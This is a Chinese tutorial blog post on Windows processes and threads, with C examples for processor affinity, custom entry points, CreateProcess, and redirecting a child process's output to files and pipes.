多任务,进程与线程的简单说明多任务的本质就是并行计算,它能够利用至少2处理器相互协调,同时计算同一个任务的不同部分,从而提高求解速度,或者求解单机无法求解的大规模问题。以前的分布式计算正是利用这点,将大规模问题分解为几个互不不相关的问题,将这些计算问题交给局域网中的其他机器计算完成,然后再汇总到某台机器上,显示结果,这样就充分利用局域网中的计算机资源。相对的,处理完一步接着再处理另外一步,将这样的传统计算模式称为串行计算。在提高处理器的相关性能主要有两种方式,一种是提高单个处理器处理数据的速度,这个主要表现在CPU主频的调高上,而当前硬件总有一个上限,以后再很难突破,所以现在的CPU主要采用的是调高CPU的核数,这样CPU的每个处理器都处理一定的数据,总体上也能带来性能的提升。在某些单核CPU上Windows虽然也提供了多任务,但是这个多任务是分时多任务,也就是每个任务只在CPU中执行一个固定的时间片,然后再切换到另一个任务,由于每个任务的时间片很短,所以给人的感觉是在同一时间运行了多个任务。单核CPU由于需要来回的在对应的任务之间切换,需要事先保存当前任务的运行环境,然后通过轮循算法找到下一个运行的任务,再将CPU中寄存器环境改成新任务的环境,新任务运行到达一定时间,又需要重复上述的步骤,所以在单核CPU上使用多任务并不能带来性能的提升,反而会由在任务之间来回切换,浪费宝贵的资源,多任务真正使用场合是多核的CPU上。windows上多任务的载体是进程和线程,在windows中进程是不执行代码的,它只是一个载体,负责从操作系统内核中分配资源,比如每个进程都有4GB的独立的虚拟地址空间,有各自的内核对象句柄等等。线程是资源分配的最小单元,真正在使用这些资源的是线程。每个程序都至少有一个主线程。线程是可以被执行的最小的调度单位。进程的亲缘性进程或者线程只在某些CPU上被执行,而不是由系统随机分配到任何可用的CPU上,这个就是进程的亲缘性。例如某个CPU有8个处理器,可以通过进程的亲缘性设置让该进程的线程只在某两个处理器上运行,这样就不会像之前那样在8个CPU中的任意几个上运行。在windows上一般更倾向于优先考虑将线程安排在之前执行它的那个处理器上运行,因为之前的处理器的高速缓存中可能存有这个线程之前的执行环境,这样就提高的高速缓存的命中率,减少了从内存中取数据的次数能从一定程度上提高性能。需要注意的是,在拥有三级高速缓存的CPU上,这么做意义就不是很大了,因为三级缓存一般作为共享缓存,由所有处理器共享,如果之前在2号处理器上执行某个线程,在三级缓存上留下了它的运行时的数据,那么由于三级缓存是由所有处理器所共享的,这个时候即使将这个线程又分配到5号处理器上,也能访问这个公共存储区,所以再设置线程在固定的处理器上运行就显得有些鸡肋,这也是拥有三级缓存的CPU比二级缓存的CPU占优势的地方。但是如果CPU只具有二级缓存,通过设置亲缘性可以发挥高速缓存的优势,提高效率。亲缘性可以通过函数SetProcessAffinityMask设置。该函数的原型如下:BOOL WINAPI SetProcessAffinityMask( __in HANDLE hProcess, __in DWORD_PTR dwProcessAffinityMask );第一个参数是设置的进程的句柄,第二个参数是DWORD类型的指针,是一个32位的整数,每一位代表一个处理器的编号,当希望设置进程中的线程在此处理器上运行的话,将该位设置为1,否则为0。为了设置亲缘性,首先应该了解机器上CPU的情况,根据实际情况来妥善安排,获取CPU的详细信息可以通过函数GetLogicalProcessInformation来完成。该函数的原型如下:BOOL WINAPI GetLogicalProcessorInformation( __out PSYSTEM_LOGICAL_PROCESSOR_INFORMATION Buffer, __in_out PDWORD ReturnLength );第一个参数是一个结构体的指针,第二个参数是需要缓冲区的大小,也就是说这个函数我们可以采用两次调用的方式来合理安排缓冲区的大小。结构体SYSTEM_LOGICAL_PROCESSOR_INFORMATION的定义如下: typedef struct _SYSTEM_LOGICAL_PROCESSOR_INFORMATION { ULONG_PTR ProcessorMask; LOGICAL_PROCESSOR_RELATIONSHIP Relationship; union { struct { BYTE Flags; } ProcessorCore; struct { DWORD NodeNumber; }NumaNode; CACHE_DESCRIPTOR Cache; ULONGLONG Reserved[2]; }; } SYSTEM_LOGICAL_PROCESSOR_INFORMATION, *PSYSTEM_LOGICAL_PROCESSOR_INFORMATION;ProcessorMask是一个位掩码,每个位代表一个逻辑处理器,第二个参数是一个标志,表示该使用第三个共用体中的哪一个结构体,这三个分别表示核心处理器,NUMA节点,以及高速缓存的信息。下面是使用的一个例子代码:#include <windows.h> #include <tchar.h> #include <stdio.h> #include <locale.h> DWORD CountBits(ULONG_PTR uMask); typedef BOOL (WINAPI *CPUINFO)(PSYSTEM_LOGICAL_PROCESSOR_INFORMATION Buffer, PDWORD ReturnLength); int _tmain(int argc, TCHAR *argv[]) { _tsetlocale(LC_ALL, _T("chs")); CPUINFO pGetCpuInfo = (CPUINFO)GetProcAddress(GetModuleHandle(_T("kernel32")), "GetLogicalProcessorInformation"); if (NULL == pGetCpuInfo) { _tprintf(_T("系统不支持该函数,程序结束\n")); return 0; } PSYSTEM_LOGICAL_PROCESSOR_INFORMATION plpt = NULL; DWORD dwLength = 0; if (!pGetCpuInfo(plpt, &dwLength)) { if (ERROR_INSUFFICIENT_BUFFER == GetLastError()) { plpt = (PSYSTEM_LOGICAL_PROCESSOR_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); }else { _tprintf(_T("函数调用失败\n")); return 0; } } if (!pGetCpuInfo(plpt, &dwLength)) { _tprintf(_T("函数调用失败\n")); return 0; } DWORD dwSize = dwLength / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); PSYSTEM_LOGICAL_PROCESSOR_INFORMATION pOffsite = plpt; DWORD dwCacheCnt = 0; DWORD dwCoreCnt = 0; DWORD dwPackageCnt = 0; DWORD dwNodeCnt = 0; for (int i = 0; i < dwSize; i++) { switch (pOffsite->Relationship) { case RelationCache: dwCacheCnt++; break; case RelationNumaNode: dwNodeCnt++; break; case RelationProcessorCore: { if (pOffsite->ProcessorCore.Flags) { dwCoreCnt++; }else { dwCoreCnt += CountBits(pOffsite->ProcessorMask); } } break; case RelationProcessorPackage: dwPackageCnt++; break; default: break; } pOffsite++; } _tprintf(_T("处理器个数:%d\n"), dwPackageCnt); _tprintf(_T("处理器核数:%d\n"), dwCoreCnt); _tprintf(_T("NUMA个数:%d\n"), dwNodeCnt); _tprintf(_T("高速缓存的个数:%d\n"), dwCacheCnt); return 0; } DWORD CountBits(ULONG_PTR uMask) { DWORD dwTest = 1; DWORD LSHIFT = sizeof(ULONG_PTR) * 8 -1; dwTest = dwTest << LSHIFT; DWORD dwCnt = 0; for (int i = 0; i <= LSHIFT; i++) { dwCnt += ((uMask & dwTest) ? 1 : 0); dwTest /= 2; } return dwCnt; }这个程序首先采用两次调用的方式分配一个合适的缓冲区,用来接收函数的返回,然后分别统计CPU数目,物理处理器数目以及逻辑处理器数量。我们根据MSDN上面得到的信息,首先判断缓冲区中有多少个结构体,也就是由多少条处理器的信息,然后根据第二个成员的值,来判断当前存储的是哪种信息。并将对应的值加1,当计算逻辑处理器的数目时需要考虑超线程的问题,所谓超线程就是intel提供的一个新的技术,可以将一个处理器虚拟成多个处理器来使用,已达到多核处理器的效果,如果它支持超线程,那么久不能简单的根据是否为核心处理器而加1,这个时候需要采用计算位掩码的方式来统计逻辑存储器,根据MSDN上说的当flag为1时表示支持超线程。windows下的进程windows中进程是已装入内存中,准备或者已经在执行的程序,磁盘上的exe文件虽说可以执行,但是它只是一个文件,并不是进程,一旦它被系统加载到内存中,系统为它分配了资源,那么它就是一个进程。进程由两个部分组成,一个是系统内核用来管理进程的内核对象,一个是它所占的地址空间。windows下的进程主要分为3大类:控制台,窗口应用,服务程序。写过控制台与窗口程序的人都知道,控制台的主函数是main,而窗口应用的主函数是WinMain,那么是否可以根据这个来判断程序属于那种呢,很遗憾,windows并不是根据这个来区分的。在VS编译器上可以通过设置将Win32 控制台程序的主函数指定为WinMain,或者将窗口程序的主函数指定为main,设置方法:属性-->连接器-->系统-->子系统,将这项设置为/SUBSYSTEM:CONSOLE,那么它的主函数为main,设置为/SUBSYSTEM:WINDOWS那么它的主函数为WinMain,甚至我们可以自己设置主函数。我们知道在C/C++语言中main程序是从main函数开始的,但是这个函数只是语法上的开始,并不是真正意义上的入口,在VC++中,系统会首先调用mainCRTStartup,在这个函数中调用main或者WinMain, 这个函数主要负责对C/C++运行环境的初始化,比如堆环境或者C/C++库函数环境的初始化。如果需要自定义自己的入口,那么这些环境将得不到初始化,也就意味着我们不能使用C/C++库函数。只能使用VC++提供的API,这么做也有一定的好处,毕竟这些库函数都是在很早之前产生的,到现在来看有很多问题,有许多有严重的安全隐患,使用API可以避免这些问题。下面是一个简单的例子:#include <Windows.h> #include <tchar.h> #include <strsafe.h> #define PRINTF(...) \ {\ TCHAR szBuf[4096] = _T("");\ StringCchPrintf(szBuf, sizeof(szBuf), __VA_ARGS__);\ size_t nStrLen = 0;\ StringCchLength(szBuf, STRSAFE_MAX_CCH, &nStrLen);\ WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), szBuf, nStrLen, NULL, NULL);\ } int LHMain() { PRINTF(_T("this is a %s"), _T("test hello world\n")); return 0; }这个例子中,入口函数是LHMain我们完全使用API的方式来编写程序,如果想要做到自定义入口,那么需要进行这样的设置:属性-->高级-->入口点,在入口点中输出我们希望作为入口点的函数名称即可。入口参数各个参数的含义现在这部分主要说明main函数以及WinMain函数。int main()这是main函数的一种原型,这种原型不带入任何参数int main(int argc, char *argv[])这种原型主要接受命令行输入的参数,参数以空格隔开,第一个参数表示输入命令行参数的总数,第二个是一个字符串指针数组,每个字符串指针成员代表的是具体输入的命令以及参数,这些信息包括我们输入的程序的名称,比如我们输入test.exe -s -a -t 来启动程序,那么argc = 4 ,argv[0] = "test.exe" argv[1] = "-s" argv[2] = "-a" argv[3] = "-t"int main(int argc, char argv[], char envs[])这个原型中第一个和第二个参数的函数与上述的带有两个参数的main函数相同,多了一个表示环境变量的指针数组,它会将环境变量以”变量名=值“的形式来组织字符串。int WINAPI WinMain(HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow);函数中的WINAPI表示函数的调用约定为__stdcall的调用方式,函数的调用方式主要与参数压栈方式以及环境回收的方式有关。在这就不再说明这部分的内容,有兴趣的可以看本人另外一篇博客专门讲解了这部分的内容,点击这里hInstance:进程的实例句柄,该值是exe文件映射到虚拟地址控件的基址hPrevInstance:上一个进程的实例句柄,为了防止进程越界访问,这个是16位下的产物,在32位下,这个没有作用。lpszCmdLine:启动程序时输入的命令行参数nCmdShow:表示程序的显示方式。进程的环境变量与工作路径进程的环境变量可以通过main函数的第三个参数传入,也可以在程序中利用函数GetEnvrionmentStrings和GetEnvrionVariable获取,下面是获取进程环境变量的简答例子: setlocale(CP_ACP, "chs"); TCHAR **ppArgs = NULL; int nArgCnt = 0; ppArgs = CommandLineToArgvW(GetCommandLine(), &nArgCnt); for (int i = 0; i < nArgCnt; i++) { _tprintf(_T("%d %s\n"), i, ppArgs[i]); } HeapFree(GetProcessHeap(), 0, ppArgs);函数的第一个参数是开启这个进程需要的完整的命令行字符串,这个字符串使用函数GetCommandLine来获取,第二个参数是一个接受环境变量的字符串指针数组。函数返回数组中元素个数。一般情况下不推荐使用环境变量的方式来保存程序所需的数据,一般采用文件或者注册表的方式,但是最好的办法是采用xml文件的方式来村粗。至于进程的工作目录可以通过函数GetCurrentDirectory方法获取。进程创建在windows下进程创建采用API函数CreateProcess,该函数的原型如下:BOOL CreateProcess( LPCWSTR pszImageName, LPCWSTR pszCmdLine, LPSECURITY_ATTRIBUTES psaProcess, LPSECURITY_ATTRIBUTES psaThread, BOOL fInheritHandles, DWORD fdwCreate, LPVOID pvEnvironment, LPWSTR pszCurDir, LPSTARTUPINFOW psiStartInfo, LPPROCESS_INFORMATION pProcInfo ); 该函数参数较多,下面对这几项做重点说明,其余的请自行查看MSDN。pszImageName:表示进程对应的exe文件所在的完整路径或者相对路径pszCmdLine:启动进程传入的命令行参数,这是一个字符串类型,需要注意的是,这个命令行参数可以带程序所在的完整路径,这样就可以将第一个参数设置为NULL。参数中的安全描述符表示的是创建的子进程的安全描述符,与当前进程的安全描述符无关。fInheritHandles表示,可否被继承,这个继承关系是指父进程中的信息能否被子进程所继承psiStartInfo规定了新进程的相关启动信息,主要有这样几个重要的值:对于窗口程序: LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize;这些值规定了窗口的标题和所在的屏幕位置与长高的相关信息,对于控制台程序,主要关注: HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError;标准输入、输出、以及标准错误 下面是一个创建控制台与创建窗口的简单例子: STARTUPINFO si = {0}; si.dwXSize = 400; si.dwYSize = 300; si.dwX = 10; si.dwY = 10; PROCESS_INFORMATION pi = {0}; SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES)}; //创建一个窗口应用的进程,其中szExePath表示进程所在exe文件的路径,而szAppDirectory表示exe所在的目录 CreateProcess(szExePath, szExePath, &sa, &sa, FALSE, 0, NULL, szAppDirectory, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); //启动控制台窗口,与父进程公用输入输出环境 ZeroMemory(szExePath, sizeof(TCHAR) * (MAX_PATH + 1)); StringCchPrintf(szExePath, MAX_PATH, _T("%s%s"), szAppDirectory, _T("SubConsole.exe")); ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); CreateProcess(szExePath, szExePath, &sa, &sa, FALSE, 0, NULL, szAppDirectory, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); //启动控制台,在新的控制台上做输入输出 ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); CreateProcess(szExePath, szExePath, &sa, &sa, FALSE, CREATE_NEW_CONSOLE, NULL, szAppDirectory, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread);上述程序中,对于窗口程序,在创建时没有给出特别的创建标志,窗口本身就是一个个独立的,并且我们通过指定si的部分成员指定了窗口的显示位置,而对于控制台,如果在创建时不特别指定创建的标志,那么它将与父进程共享一个输入输出控制台。为了区分子进程和父进程的输入输出,一般通过标志CREATE_NEW_CONSOLE为新进程新建一个另外的控制台。进程输入输出重定向输入输出重定向的实现可以通过函数CreateProcess在参数psiStartInfo中的HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError中指定,但是需要注意的是,在父进程中如果采用了Create之类的函数创建了输入输出对象的句柄时一定要指定他们可以被子进程所继承。下面是一个重定向的例子: //启动控制台,做输入输出重定向到文件中 TCHAR szFilePath[MAX_PATH + 1] = _T(""); //指定文件对象可以被子进程所继承,以便子进程可以使用这个内核对象句柄 sa.bInheritHandle = TRUE; ZeroMemory(&si, sizeof(STARTUPINFO)); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); StringCchPrintf(szFilePath, MAX_PATH, _T("%s%s"), szAppDirectory, _T("input.txt")); HANDLE hInputFile = CreateFile(szFilePath, GENERIC_READ | GENERIC_WRITE, 0, &sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); ZeroMemory(szFilePath, sizeof(szFilePath)); StringCchPrintf(szFilePath, MAX_PATH, _T("%s%s"), szAppDirectory, _T("output.txt")); HANDLE hOutputFile = CreateFile(szFilePath, GENERIC_READ | GENERIC_WRITE, 0, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); si.hStdInput = hInputFile; si.hStdOutput = hOutputFile; si.dwFlags = STARTF_USESTDHANDLES; CreateProcess(szExePath, szExePath,NULL, NULL, TRUE, DETACHED_PROCESS, NULL, szAppDirectory, &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(hOutputFile); CloseHandle(hInputFile); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); //启动ping命令,并将输出重定向到管道中 StringCchPrintf(szExePath, MAX_PATH, _T("ping 127.0.0.1")); DWORD dwLen = 0; BYTE byte[1024] = {0}; HANDLE hReadP = NULL; HANDLE hWriteP = NULL; sa.bInheritHandle = TRUE; CreatePipe(&hReadP, &hWriteP, &sa, 1024); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; si.hStdOutput = hWriteP; CreateProcess(NULL, szExePath, NULL, NULL, TRUE, DETACHED_PROCESS, NULL, szAppDirectory, &si, &pi); //关闭管道的写端口,不然读端口会被阻塞 CloseHandle(hWriteP); dwLen = 1000; DWORD dwRead = 0; while (ReadFile(hReadP, byte, dwLen, &dwRead, NULL)) { if ( 0 == dwRead ) { break; } //写入管道的数据为ANSI字符 printf("%s\n", (char*)byte); ZeroMemory(byte, sizeof(byte)); }进程的退出进程在遇到如下情况中的任意一种时会退出:进程中任意一个线程调用函数ExitProcess进程的主线程结束进程中最后一个线程结束调用TerminateProcess在这针对第2、3中情况作特别的说明:这两种情况看似矛盾不是吗,当主线程结束时进程就已经结束了,这个时候还会等到最后一个线程吗。其实真实的情况是主线程结束,进程结束这个限制是VC++上的,之前在自定义入口的时候说过,main函数只是语法上的,并不是实际的入口,在调用main之前会调用mainCRTStartup,这个函数会负责调用main函数,当main函数调用结束后,这个函数会隐式的调用ExitProcess结束进程,所以只有当我们自定了程序入口才会看到3所示的现象,下面的例子说明了这点:DWORD WINAPI ThreadProc(LPVOID lpParam); #define PRINT(s) \ {\ size_t sttLen = 0;\ StringCchLengthA(s, 1024, &sttLen);\ WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), s, sttLen, NULL, NULL);\ } int LHMain(int argc, char *argv[]) { CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); return 0; } DWORD WINAPI ThreadProc(LPVOID lpParam) { PRINT("main thread is ending,this is child thread\r\n"); return 0; }这种程序,如果我们采用系统中规定的main函数的话,是看不到线程中输出的信息的,因为主线程先结束的话,整个进程就结束了,线程还来不及输出,就被终止了。但是我们采用自定义入口的方式,屏蔽了这个特性,所以它会等到所有线程执行完成后才会结束,这个时候就会看到这句话输出了。进程在终止时会发生以下事件:关闭进程打开的对象句柄,但是对象本身不一定会关闭,这是因为每个对象都有一个计数器,每当有一个线程在使用这个对象时计数器会加1,而释放它的句柄时会减一,只有当计数器为0时才会销毁这个对象。对象是可以跨进程访问的,而且所有相同的对象在内存中只有一份,所以需要一个计数器以便在没有被任何进程访问的时候系统删除它。进程对象的状态设为有信号,以便所有等待该进程对象信号的函数(像函数WaitForSingleObject)能够正常返回。进程的终止状态从STILL_ACTIVE变成进程的退出码,可以通过这个特性判断某个进程是否在运行,具体的方式是通过函数GetExitProcess获取进程的终止码,如果函数返回STILL_ACTIVE,则说明进程仍在运行。
2016年09月06日
4 阅读
0 评论
0 点赞
1
...
4
5
6
...
8